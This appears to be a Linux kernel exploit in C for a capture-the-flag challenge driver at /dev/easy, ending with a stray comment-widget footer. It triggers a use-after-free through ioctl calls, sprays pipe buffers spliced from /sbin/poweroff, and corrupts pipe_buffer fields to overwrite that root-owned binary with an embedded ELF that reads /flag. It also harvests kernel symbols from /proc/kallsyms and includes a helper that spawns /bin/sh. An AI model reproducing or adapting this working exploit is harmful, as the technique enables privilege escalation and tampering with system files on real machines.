#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char


size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);
void mypause();
int dev_fd;



const char* FileAttack="/dev/easy\0";
#define PIPE_SPARY_COUNT 0x40
#define PIPE_TAG "mowen123"
#define PIPE_STRUCT_SIZE 40
int pipe_fd[PIPE_SPARY_COUNT][2];

void add(int size) {
    ioctl(dev_fd, 0, size);
}

void dele() {
    ioctl(dev_fd, 1, 0);
}

int main(void){
   save_status();
   BLUE;puts("[*]start");CLOSE;
   dev_fd = open(FileAttack,2);
   if(dev_fd < 0){
        errExit(FileAttack);
    }
   bind_cpu(0);
   find_symbols();

   int attack_file=open("/sbin/poweroff",0);
   if(attack_file < 0){
        errExit("file open failed");
   }
   GREEN; printf("start splice...");CLOSE;
   for (size_t i = 0; i < PIPE_SPARY_COUNT/2; i++)
   {
      if(pipe(pipe_fd[i])<0)errExit("pipe_fd");

      write(pipe_fd[i][1],PIPE_TAG,8);
      size_t offin,offout;
      offin=offout=0;
      if( splice(attack_file,&offin,pipe_fd[i][1],0,1,0) <0 )errExit("splice");

   }

   add(1024);
   dele();

   for (size_t i =  PIPE_SPARY_COUNT/2; i < PIPE_SPARY_COUNT; i++)
   {
      if(pipe(pipe_fd[i])<0)errExit("pipe_fd");

      write(pipe_fd[i][1],PIPE_TAG,8);
      size_t offin,offout;
      offin=offout=0;
      if( splice(attack_file,&offin,pipe_fd[i][1],0,1,0) <0 )errExit("splice");
   }
   GREEN; printf("start splice end");CLOSE;

   char buf[0x100]={0};

   read(dev_fd,buf,0x100);

   binary_dump("buf",buf,0x100);

   size_t* p =(size_t*)( buf+PIPE_STRUCT_SIZE );
   p[1]=0;
   p[2]=*(size_t*)(buf+0x10);
   write(dev_fd,buf,0x100);


   read(dev_fd,buf,0x100);

   binary_dump("buf",buf,0x100);
   unsigned char shellcode[] = 
      {0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xbf,0xa8,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xf6,0x48,0x31,0xd2,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x48,0x89,0xc6,0x48,0x31,0xff,0x48,0xff,0xc7,0x48,0x31,0xd2,0x68,0x00,0x01,0x00,0x00,0x41,0x5a,0x6a,0x28,0x58,0x0f,0x05,0x00,0x2f,0x66,0x6c,0x61,0x67,0x00}
   ;

   for (int i = 0; i < PIPE_SPARY_COUNT; i++) {
      write(pipe_fd[i][1], shellcode, sizeof(shellcode));
   }

   for (size_t i = 0; i < PIPE_SPARY_COUNT; i++)
   {
      close(pipe_fd[i][0]);
      close(pipe_fd[i][1]);
   }

   read(attack_file,buf,sizeof(shellcode));
   binary_dump("file",buf,sizeof(shellcode));

   if(!strncmp(buf,(char*)shellcode,sizeof(shellcode))){
      BLUE; printf("change successful"); CLOSE;
   }else{
      RED; printf("change FAILED"); CLOSE;
   }

   close(attack_file);
   close(dev_fd);
   BLUE;puts("[*]end");CLOSE;
   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}

size_t find_symbols(){
   const char* FILESYM="/proc/kallsyms\0";
   FILE* kallsyms_fd = fopen(FILESYM,"r");
   if(kallsyms_fd < 0){
      errExit(FILESYM);
   }

   char buf[0x30] = {0};
   while(fgets(buf,0x30,kallsyms_fd)){
      //find vmlinux_base
      if(strstr(buf,"_text") && !vmlinux_base){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&vmlinux_base);
         showAddr(vmlinux_base);
      }
      //find commit_creds
      if(strstr(buf,"commit_creds") && !commit_creds){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&commit_creds);
         showAddr(commit_creds);
         size_t commit_creds_offset=commit_creds-vmlinux_base;
         showAddr(commit_creds_offset);
      }

      //find prepare_kernel_cred
      if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&prepare_kernel_cred);
         showAddr(prepare_kernel_cred);
         size_t prepare_kernel_cred_offset=prepare_kernel_cred-vmlinux_base;
         showAddr(prepare_kernel_cred_offset);
      }
      if(strstr(buf,"swapgs_restore_regs") && !swapgs_restore_regs_and_return_to_usermode){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&swapgs_restore_regs_and_return_to_usermode);
         showAddr(swapgs_restore_regs_and_return_to_usermode);
         size_t swapgs_restore_regs_and_return_to_usermode_offset=swapgs_restore_regs_and_return_to_usermode-vmlinux_base;
         showAddr(swapgs_restore_regs_and_return_to_usermode_offset);      
      }
      if(strstr(buf,"D init_cred") && !init_cred){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&init_cred);
         showAddr(init_cred);
         size_t init_cred_offset=init_cred-vmlinux_base;
         showAddr(init_cred_offset);      
      }

   }
   if(!swapgs_restore_regs_and_return_to_usermode){
      RED;printf("not found swapgs_restore_regs_and_return_to_usermode");CLOSE;
   }
   if(!init_cred){
      RED;printf("not found init_cred");CLOSE;
   }

} 
void binary_dump(char *desc, void *addr, int len) {
    _QWORD *buf64 = (_QWORD *) addr;
    _BYTE *buf8 = (_BYTE *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}


void bind_cpu(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}
0 条评论
某人
表情
可输入 255